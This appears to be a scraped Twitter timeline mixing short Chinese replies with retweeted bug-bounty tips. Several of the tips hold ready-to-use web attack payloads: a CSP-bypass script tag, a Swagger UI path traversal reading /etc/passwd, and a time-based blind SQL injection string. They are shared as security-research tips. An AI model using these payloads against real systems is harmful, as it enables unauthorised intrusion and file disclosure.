ifraise

alert

[ifraise @ifraise8]

@BitcoinAlphaX 已关注

[ifraise @ifraise8]

@big262347 @SM3TgzhHofAocsU @realNyarime https://t.co/I4VIxOMVVO

[ifraise @ifraise8]

@ivanutor @iPaulCanada 是啊，学历从来不是用来嘲笑别人的理由

[ifraise @ifraise8]

@lihng155081 @GaryDu18 这个支付宝上每天限额10块吧

[ifraise @ifraise8]

@pengchujin 查了几个，查不到网站备案

[ifraise @ifraise8]

@zzwinwinwin @YYT_An b吧

[ifraise @ifraise8]

@hello1428336601 @Nikefu_guagua @chainbrooo @cherylnatsu @KnightLeeda +1，三年了，好好的

[pwn.ai @pwn_ai]

You can now bypass CSP on any website that allows https://t.co/KCKptw9Ycd in a script-src or default-src

PoC: <script src=https://t.co/5cvLZM37Sc></script>

Despite character limitations, you can use the Same Origin Method Execution technique we shared to get full XSS.

#bugbountytips #bugbounty #xss

[ifraise @ifraise8]

@rodoassis good

[ifraise @ifraise8]

@SEEMsec 早有听闻某安全公司hw时拿简历协助溯源🌝🌝

[ifraise @ifraise8]

@glzjin @offsectraining tql

[plantegg @plantegg]

如何补网络基础，这几天我被问到的就是这个问题。分两大块：TCP和网络路由(一次HTTP请求是如何抵达Server的)，TCP的话不建议看书了，直接搞一个传输达不到目标点场景抓包分析就够了；路由这块也不推荐RFC 1180了，直接看我这篇。过几天我再写一篇详细的补基础 https://t.co/BKblRtXf2P

[ifraise @ifraise8]

@alpha_add @ybspro_official 怪不得能拿奖，上学的时候用的都是神州数码🥲

[unSafe.sh Bot @buaqbot]

WebSphere 漏洞复现
https://t.co/cxoNf5osmb
https://t.co/sNsuh5dT8U

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Swagger UI LFI Injection by @cycatz

LFI Payload:

/v1/docs//..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\/etc/passwd HTTP/1.1
#bugbounty #bugbountytips #LFI

[ifraise @ifraise8]

@tttt4rn 开vpn是提示有风险，叫你退出应用。

[N$🌟 @__nav1n_]

Found an SQLi using sysdate() based blind SQLi payload:

0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z

#SqlInjection #SQLi #bugbountytips #BugBounty

[unSafe.sh Bot @buaqbot]

2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp - 渗透测试中心
https://t.co/fr3phgrGgm
https://t.co/5AlfKOtXde

[unSafe.sh Bot @buaqbot]

吃瓜，某安信被XX？首家BC-SRC！
https://t.co/nq1X9gCnZW
https://t.co/FENzFyN8Q0